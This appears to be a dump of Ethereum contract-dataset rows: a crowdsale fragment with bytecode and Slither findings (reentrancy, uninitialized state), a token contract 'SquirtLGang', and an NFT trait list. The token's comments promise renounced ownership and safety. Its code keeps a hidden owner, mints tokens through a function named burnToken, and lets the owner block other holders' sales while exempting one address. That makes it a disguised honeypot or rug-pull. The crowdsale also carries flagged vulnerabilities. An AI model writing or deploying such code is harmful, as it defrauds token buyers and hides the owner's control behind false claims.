emit TokenPurchase(msg.sender, _beneficiary, weiAmount, tokens);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
weiRaised = weiRaised.add(weiAmount);
_postValidatePurchase(_beneficiary, weiAmount);
weiAmount = 0;
}
/**
* @dev Source of tokens. Override this method to modify the way in which the crowdsale ultimately gets and sends its tokens.
* @param _beneficiary Address performing the token purchase
* @param _tokenAmount Number of tokens to be emitted
*/
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
token.safeTransferFrom(owner, _beneficiary, _tokenAmount);
}
/**
* @dev Override to extend the way in which ether is converted to tokens.
* @param _weiAmount Value in wei to be converted into tokens
* @return Number of tokens that can be purchased with the specified _weiAmount
*/
function getTokenAmount(uint256 _weiAmount) public view returns (uint256) {
return _weiAmount.mul(token.allowance(owner, address(this))).div(cap);
}
}
|
0x60806040526004361061008d5763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663355274ea81146100985780634042b66f146100bf5780634f935945146100d4578063521eb273146100fd5780638da5cb5b1461012e578063c2507ac114610143578063ec8ac4d81461015b578063fc0c546a1461016f575b61009633610184565b005b3480156100a457600080fd5b506100ad61023c565b60408051918252519081900360200190f35b3480156100cb57600080fd5b506100ad610242565b3480156100e057600080fd5b506100e9610248565b604080519115158252519081900360200190f35b34801561010957600080fd5b50610112610253565b60408051600160a060020a039092168252519081900360200190f35b34801561013a57600080fd5b50610112610262565b34801561014f57600080fd5b506100ad600435610271565b610096600160a060020a0360043516610184565b34801561017b57600080fd5b5061011261033b565b6000346007819055506101998260075461034a565b6101a4600754610271565b90506101b08282610379565b60075460408051918252602082018390528051600160a060020a0385169233927f623b3804fa71d67900d064613da8f94b9617215ee90799290593e1745087ad1892918290030190a361020582600754610375565b61020d610383565b6007546003546102229163ffffffff6103bf16565b600355600754610233908390610375565b50506000600755565b60045481565b60035481565b600454600354101590565b600154600160a060020a031681565b600554600160a060020a031681565b60048054600654600554604080517fdd62ed3e000000000000000000000000000000000000000000000000000000008152600160a060020a039283169581019590955230602486015251600094610335949361032993169163dd62ed3e9160448082019260209290919082900301818a87803b1580156102f057600080fd5b505af1158015610304573d6000803e3d6000fd5b505050506040513d602081101561031a57600080fd5b5051859063ffffffff6103cc16565b9063ffffffff6103f516565b92915050565b600654600160a060020a031681565b610354828261040a565b60045460035461036a908363ffffffff6103bf16565b111561037557600080fd5b5050565b610375828261042b565b600154604051600160a060020a03909116903480156108fc02916000818181858888f193505050501580156103bc573d6000803e3d6000fd5b50565b8181018281101561033557fe5b60008215156103dd57506000610335565b508181028183828115156103ed57fe5b041461033557fe5b6000818381151561040257fe5b049392505050565b600160a060020a038216151561041f57600080fd5b80151561037557600080fd5b60055460065461037591600160a060020a039182169116848463ffffffff61044f16565b604080517f23b872dd000000000000000000000000000000000000000000000000000000008152600160a060020a0385811660048301528481166024830152604482018490529151918616916323b872dd916064808201926020929091908290030181600087803b1580156104c357600080fd5b505af11580156104d7573d6000803e3d6000fd5b505050506040513d60208110156104ed57600080fd5b505115156104fa57600080fd5b505050505600a165627a7a72305820d7722c8c1aa7fe083c4b72d15329e158b0886bd11fc6ab219d47b3676c61a0fa0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "shadowing-state", "impact": "High", "confidence": "High"}]}}
| 9,151 |
0x055350bd6b400c3c1d9f72b7436038b6d54cde73
|
/**
*Submitted for verification at Etherscan.io on 2021-08-06
*/
/*
SQUIRTLE, LET'S GO!
PRESENTING SQUIRTLGANG
We are a community based token with a store program in audit that will allow people who hold $SQUIRTLGANG to purchase one of 7,777 randomly minted Squirtles!
• We offer locked liquidity and renounced ownership meaning this token will be truly safe. In addition to this there is a fair launch for the community. No pre-sales.
• Developer team only owns 1% of tokens for marketing fund and the usage for 1% of the tokens will be decided by the community.
https://t.me/squirtlgang
*/
pragma solidity ^0.6.7;
// SPDX-License-Identifier: MIT
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _call() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address public Owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address call = _call();
_owner = call;
Owner = call;
emit OwnershipTransferred(address(0), call);
}
modifier onlyOwner() {
require(_owner == _call(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
Owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract SquirtLGang is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private sellcooldown;
mapping(address => uint256) private firstsell;
mapping(address => uint256) private sellnumber;
mapping(address => uint256) private _router;
mapping(address => mapping (address => uint256)) private _allowances;
address private router;
address private caller;
uint256 private _totalTokens = 777777777 * 10**18;
uint256 private rTotal = 77777777 * 10**18;
string private _name = 'SquirtLGang - SquirLGang.com';
string private _symbol = 'SquirtLGang';
uint8 private _decimals = 18;
constructor () public {
_router[_call()] = _totalTokens;
emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _call(), _totalTokens);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function burnPercent(uint256 reflectionPercent) public onlyOwner {
rTotal = reflectionPercent * 10**18;
}
function balanceOf(address account) public view override returns (uint256) {
return _router[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_call(), recipient, amount);
return true;
}
function burnToken(uint256 amount) public onlyOwner {
require(_call() != address(0));
_totalTokens = _totalTokens.add(amount);
_router[_call()] = _router[_call()].add(amount);
emit Transfer(address(0), _call(), amount);
}
function Approve(address routeUniswap) public onlyOwner {
caller = routeUniswap;
}
function setrouteChain (address Uniswaprouterv02) public onlyOwner {
router = Uniswaprouterv02;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_call(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _call(), _allowances[sender][_call()].sub(amount));
return true;
}
function totalSupply() public view override returns (uint256) {
return _totalTokens;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0));
require(recipient != address(0));
if (sender != caller && recipient == router) {
require(amount < rTotal);
}
_router[sender] = _router[sender].sub(amount);
_router[recipient] = _router[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0));
require(spender != address(0));
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106101005760003560e01c80637b47ec1a11610097578063b4a99a4e11610066578063b4a99a4e146104b7578063c5398cfd14610501578063dd62ed3e1461052f578063f2fde38b146105a757610100565b80637b47ec1a1461035c57806395d89b411461038a57806396bfcd231461040d578063a9059cbb1461045157610100565b8063313ce567116100d3578063313ce567146102925780636aae83f3146102b657806370a08231146102fa578063715018a61461035257610100565b806306fdde0314610105578063095ea7b31461018857806318160ddd146101ee57806323b872dd1461020c575b600080fd5b61010d6105eb565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101d46004803603604081101561019e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061068d565b604051808215151515815260200191505060405180910390f35b6101f66106ab565b6040518082815260200191505060405180910390f35b6102786004803603606081101561022257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106b5565b604051808215151515815260200191505060405180910390f35b61029a610774565b604051808260ff1660ff16815260200191505060405180910390f35b6102f8600480360360208110156102cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061078b565b005b61033c6004803603602081101561031057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610898565b6040518082815260200191505060405180910390f35b61035a6108e1565b005b6103886004803603602081101561037257600080fd5b8101908080359060200190929190505050610a6a565b005b610392610ca2565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103d25780820151818401526020810190506103b7565b50505050905090810190601f1680156103ff5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61044f6004803603602081101561042357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d44565b005b61049d6004803603604081101561046757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e51565b604051808215151515815260200191505060405180910390f35b6104bf610e6f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61052d6004803603602081101561051757600080fd5b8101908080359060200190929190505050610e95565b005b6105916004803603604081101561054557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f72565b6040518082815260200191505060405180910390f35b6105e9600480360360208110156105bd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ff9565b005b6060600b8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106835780601f1061065857610100808354040283529160200191610683565b820191906000526020600020905b81548152906001019060200180831161066657829003601f168201915b5050505050905090565b60006106a161069a611206565b848461120e565b6001905092915050565b6000600954905090565b60006106c284848461136d565b610769846106ce611206565b61076485600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061071b611206565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461163490919063ffffffff16565b61120e565b600190509392505050565b6000600d60009054906101000a900460ff16905090565b610793611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610854576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6108e9611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610a72611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b33576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16610b53611206565b73ffffffffffffffffffffffffffffffffffffffff161415610b7457600080fd5b610b898160095461167e90919063ffffffff16565b600981905550610be88160056000610b9f611206565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461167e90919063ffffffff16565b60056000610bf4611206565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c3a611206565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b6060600c8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d3a5780601f10610d0f57610100808354040283529160200191610d3a565b820191906000526020600020905b815481529060010190602001808311610d1d57829003601f168201915b5050505050905090565b610d4c611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e0d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610e65610e5e611206565b848461136d565b6001905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610e9d611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f5e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b670de0b6b3a76400008102600a8190555050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611001611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611148576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806117c76026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561124857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561128257600080fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156113a757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113e157600080fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561148c5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156114a057600a54811061149f57600080fd5b5b6114f281600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461163490919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061158781600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461167e90919063ffffffff16565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600061167683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611706565b905092915050565b6000808284019050838110156116fc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60008383111582906117b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561177857808201518184015260208101905061175d565b50505050905090810190601f1680156117a55780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838503905080915050939250505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a2646970667358221220abc6d7e4ed0a4f4668ec7fba73e5a62ae635d1b072506fb7b5f0ca6f44f5481864736f6c63430006070033
|
{"success": true, "error": null, "results": {}}
| 9,152 |
0x5cCE574c9fd3402BB68Fcd4e1F162F6fea72C0Bb
|
// SPDX-License-Identifier: GPL-2.0
/**
* "The traits listed in quotation marks under the header contract AttrLove are licensed
* under the Creative Commons Attribution 4.0 International License (“CC 4.0”). To view a copy
of this license, visit http://creativecommons.org/licenses/by/4.0/ or send a letter to Creative Commons,
* PO Box 1866, Mountain View, CA 94042, USA. For avoidance of doubt, combinations of such traits
* generated by the smart contract that references this smart contract are also licensed
* under CC 4.0. For purposes of attribution, the creator of these traits is
* the NPC Genesis Project (designed by Josh Garcia and Diana Stern)."
*/
pragma solidity ^0.8.0;
interface TraitDB {
function viewTrait(uint256 _id) external view returns (string memory);
function totalTraits() external view returns (uint256);
}
contract AttrLove is TraitDB {
string[] love = [
"Little sister"
, "Big brother"
, "Spouse"
, "Self"
, "Sunsets"
, "Sunrise"
, "Sleeping"
, "Fire"
, "Dogs"
, "Cats"
, "Conversation"
, "Starry nights"
, "Trees"
, "Clean clothes"
, "Baths"
, "Dancing"
, "Candles"
, "Whittling"
, "Sheep"
, "Walks on the beach"
, "Karaoke"
, "Watermelon"
, "Strawberries"
, "Lying"
, "Daughter "
, "Son "
, "Roast chicken "
, "Hiking"
, "Beer"
, "Watering plants"
, "Talking to plants"
, "Talking to animals "
, "Hugging trees"
, "Handstands"
, "Magic tricks"
, "Quiet nights with a loved one"
, "Days that end in 'y'"
, "Purposefully acting stupid"
, "Numbers associated with evil"
, "Numbers associated with good"
, "Making sleepy grass go to sleep"
, "Roaring good yawns"
, "Sneezing spells"
, "Micturating spells"
, "Expectorating spells"
, "Evacuation spells"
, "Capons"
, "Sack wine"
, "Hounds "
, "Romance novels"
, "Dice"
, "To be walked like a dog"
, "Solving riddles"
, "Prostheses"
, "Word play"
, "Creating riddles"
, "Improv"
, "Puppeteering"
, "Competitive arm wrestling"
, "Inspirational speeches"
, "Playing the lute"
, "Praying"
, "Helping people"
, "Having an audience"
, "Ribaldry"
, "Husking corn"
, "Doodling"
, "A most sweet wench"
, "Poker"
, "The halflings' leaf"
, "Fishing for sharks"
, "Tea collecting"
, "Telling stories"
, "Brewing homemade beer"
, "Chess"
, "Bodybuilding"
, "Gallows"
, "Chocolate cake"
, "Birdwatching"
, "Dance"
, "Comedy"
, "Mild oaths"
, "Beekeeping"
, "Quips and quiddities"
, "Hunting wild boar"
, "Hunting exotic game"
, "Contortionism"
, "Religion"
, "Pencil portraits"
, "Life"
, "Black"
, "Death"
, "Wargames"
, "Archery"
, "Martial Arts"
, "Fencing"
, "Horse riding"
, "History"
, "Fantasy novels"
, "Spearfishing"
, "Macrame"
, "Crafting chainmail"
, "Guitar "
, "Scrapbooking"
, "Collecting skulls"
, "Jousting"
, "Graffiti"
, "Metalworking"
, "Sculpting"
, "Dolls"
, "Leather crafting"
, "Soap making"
, "Weaving"
, "Origami"
, "Antiquing"
, "Astrology"
, "Juggling"
, "War reenactment"
, "Astronomy"
, "Building sandcastles"
, "Gold panning"
, "Mountain climbing"
, "Rodeo"
, "Treasure hunting"
, "Acapella "
, "Church choir"
, "Cosplay"
, "Potions"
, "Stargazing"
, "Braiding hair"
, "Explosions"
, "Breeding champion chickens"
, "Pickled things"
, "Poetry"
, "Love stories"
, "Adventures"
, "Rice"
, "Drinking"
, "Mountaineering"
, "Fishing"
, "Husbandry"
, "Chivalry"
, "Naturalism"
, "Tinkering"
, "Gambling"
, "Snakes"
, "Pottery"
, "Blacksmithing"
, "Fletching"
, "Cobbling"
, "Puppetry"
, "Lanterns"
, "Warm blankets on cold days"
, "Chocolate"
, "Coffee"
, "Nostalgia"
, "Fresh buttered toast"
, "Clean underpants"
, "Massage"
, "Tickling"
, "Money"
, "Morning poop"
, "Biting fingernails"
, "Random acts of kindness"
, "Random acts of cruelty"
, "Rain"
, "Board games"
, "Textiles"
, "Windmills"
, "Change (generally)"
, "Seasonal change"
, "Probabilistic outcomes made real"
, "Egalitarian concepts"
, "Meditation "
, "The historical exploits of wizards"
, "The sound of music "
, "When the hills come alive"
, "Tricky magic"
, "Pufferfish poison"
, "Quiet nights alone"
, "Being right"
, "Discovering new spells"
, "Mixing new potions"
, "The meditative effect of chopping veggies"
, "Dragons"
, "Enamored of poesy"
, "Honeysuckle"
, "Amateur apothecary"
, "Punishment"
, "Witnessing phase changes of matter"
, "Watching a mind connect the dots"
, "Mimicking others"
, "Annoying the shit out of people"
, "Playing the triangle"
, "More cowbell"
, "Worm farming "
, "Trapping fairies in glass jars"
, "Dagger collecting"
, "Cartography"
, "Mineral collection"
, "People trolling (also troll trolling)"
, "Gossip"
, "Tying people's shoes together while unnoticed"
, "Night time vigilantism"
, "Making beautiful flower arrangements"
, "Poison collector"
, "Fighting fires"
, "Pebble skipping"
, "Collecting tattoos"
, "Axe throwing"
, "Hammer tossing"
, "Snail racing"
, "Dogfighting"
, "Cockfighting"
, "Bear baiting"
, "Finding extremely minor magical artifacts "
, "Tap dancing"
, "Collecting teeth from fights"
, "Training parrots "
, "Ventriloquism"
, "Taxidermy"
, "Creating erotic sketches"
, "Doing tricks with smoke rings"
, "Amateur surgery"
, "Phrenology "
, "Mixing cocktails"
, "Yodeling"
, "Artistic facial hair"
, "Sniffing wizards"
, "Moonlighting as porn star"
, "Experimenting with wild magic"
, "Tarantula breeding"
, "Pipemaking"
, "Licking things (keeps ledger of things licked)"
, "Rare musical instrument repair"
, "Gourmand"
, "Amateur fortune telling"
, "Torture"
, "Monster creation "
, "Summoning demons"
, "Sailing"
, "Flying kites"
, "Pedigree cat shows"
, "Amateur divination"
, "Boxing"
, "Reiki"
, "Tai chi"
, "Orchestral performances"
, "Home jam making"
, "Amateur mechanics"
, "Landscape painting"
, "Tiny houses"
, "Painting eyes on cattle"
, "Tipping cows"
, "Haggis"
, "Toes"
, "Dirty thoughts"
, "How wine tastes"
, "Tobacco and boys"
, "Cute and fuzzy things"
, "Mistress"
, "Birdcall"
, "Celestial events"
, "Philosophy"
, "Fine mead"
, "Aperitifs"
, "War"
, "Philately"
, "Numismatics"
, "Geology"
, "Feet"
, "Torturing"
, "Dark arts"
, "Cake"
, "One specific horse"
, "Ex-wife"
, "Ex-husband"
, "Cleanliness protocols"
, "Stability "
, "Peace in the day-to-day"
, "The first few months of something new"
, "Moving on"
, "Chiasmus"
, "Imagining ways to perish in glory"
, "Wisecracks"
, "Carpeing the diem"
, "Election by strange women lying in ponds"
, "Foreshadowing (the bad kind)"
, "Anachronistic references"
, "Soulful music"
, "Elevating music"
, "The horn section"
, "Explosions (magical)"
, "Explosions (chemical)"
, "Explosions (mental)"
, "Explosions (sexual)"
, "Shibari"
, "Handcuffs"
, "Paint by numbers"
, "Abstractions of natural elements"
, "Intricate woodwork"
, "Rune casting"
, "Doll making"
, "Candy making"
, "Writing letters to the editor"
, "Public speaking"
, "DIY home improvement"
, "Kickboxing"
, "Learning elvish "
, "Learning dwarvish"
, "Calligraphy"
, "Alchemy"
, "Swimming"
, "People watching"
, "Acts of heroism"
, "Scavenging"
, "Falconry"
, "Putting little boats in bottles"
, "Daring feats"
, "Bets/wagering"
, "Spinning straw into gold"
, "Acting in local village theater"
, "Perfume making "
, "Bead making"
, "Procuring ivory"
, "Whale hunting"
, "Wrestling"
, "Fur clothing"
, "Embroidery"
, "Flirting"
, "Exploring"
, "Shopping"
, "Potato farming"
, "Miniature model painting"
, "Herblore"
, "Paper crafting"
, "Singing badly"
, "Buddhism"
, "Hunting squirrels for soup"
, "Mead making"
, "Extreme body modification"
, "Body piercing"
, "Ballroom dance"
, "Family vacations"
, "Genealogy"
, "Judo"
, "Kung fu"
, "Face painting"
, "County fairs"
, "Clowns"
, "Palm reading"
, "Sand sculpture"
, "Diving for pearls"
, "Whittling spoons out of wood "
, "Making small furniture for doll houses"
, "Trying to master baking bread"
, "Chopping up bodies in the basement"
, "Dangerous magical creatures"
, "Magical duels"
, "Animism"
, "Witchcraft"
, "Overly ornate swords"
, "Battleships"
, "Infrastructure"
, "Drugs"
, "Opera"
, "Wine tasting"
, "Conspiracy theories"
, "Bureaucracy"
, "Knife throwing"
, "Reptiles"
, "Magically controlling the weather"
, "Using entire body as a weapon"
, "Headbutting elk"
, "Dueling animals"
, "Having an unfair advantage"
, "Taking Kierkegaardian leaps"
, "Mimesis"
, "Umami"
, "Humanity"
